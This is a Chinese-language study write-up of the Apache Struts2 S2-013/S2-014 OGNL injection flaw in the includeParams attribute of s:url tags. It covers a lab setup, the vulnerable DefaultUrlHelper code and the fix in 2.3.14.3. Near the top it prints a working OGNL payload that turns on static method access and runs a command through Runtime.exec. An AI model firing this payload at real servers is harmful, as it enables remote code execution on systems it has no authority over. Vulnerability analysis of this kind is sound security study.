前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-013 和 S2-014 是同一个漏洞,014 是 013 的绕过,最后都在同一个版本修复了。
环境搭建
2.3.14.1 版本的 struts2 + Tomcat 9。
修改 jsp 文件,加上一句:
<s:url id="url" action="login" includeParams="all" />
漏洞利用
阅读漏洞通告,问题发生在 s:url/s:a 标签的 includeParams 属性,他们在根据这个属性处理 HTTP 参数的时候会进行表达式解析,payload 如下:
data=%25{#_memberAccess['allowStaticMethodAccess']=true,#context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec("calc")}
漏洞分析
看到 s:url 标签生成 URL 时会调用的 DefaultUrlHelper 类的 buildParametersString 方法:
Iterator iter = params.entrySet().iterator();
while(iter.hasNext()) {
Entry<String, Object> entry = (Entry)iter.next();
String name = (String)entry.getKey();
Object value = entry.getValue();
if (value instanceof Iterable) {
...
} else if (value instanceof Object[]) {
Object[] array = (Object[])((Object[])value);
for(int i = 0; i < array.length; ++i) {
Object paramValue = array[i];
link.append(this.buildParameterSubstring(name, paramValue.toString()));
if (i < array.length - 1) {
link.append(paramSeparator);
}
}
} else {
...
}
if (iter.hasNext()) {
link.append(paramSeparator);
}
}
遍历了传递的参数,然后调用了 buildParameterSubstring 方法:
private String buildParameterSubstring(String name, String value) {
StringBuilder builder = new StringBuilder();
builder.append(translateAndEncode(name));
builder.append('=');
builder.append(translateAndEncode(value));
return builder.toString();
}
public String translateAndEncode(String input) {
String translatedInput = translateVariable(input);
try {
return URLEncoder.encode(translatedInput, encoding);
} catch (UnsupportedEncodingException e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input);
}
return translatedInput;
}
}
translateVariable 方法最后会来到之前看到过的 OgnlTextParser 方法的 evaluate 方法进行了解析。
漏洞修复
在 2.3.14.3 版本中,buildParameterSubstring 方法中去掉了表达式解析的部分,只剩下 URL 编码:
private String buildParameterSubstring(String name, String value) {
StringBuilder builder = new StringBuilder();
builder.append(encode(name));
builder.append('=');
builder.append(encode(value));
return builder.toString();
}
public String encode( String input ) {
try {
return URLEncoder.encode(input, encoding);
} catch (UnsupportedEncodingException e) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input);
}
return input;
}
}
Orz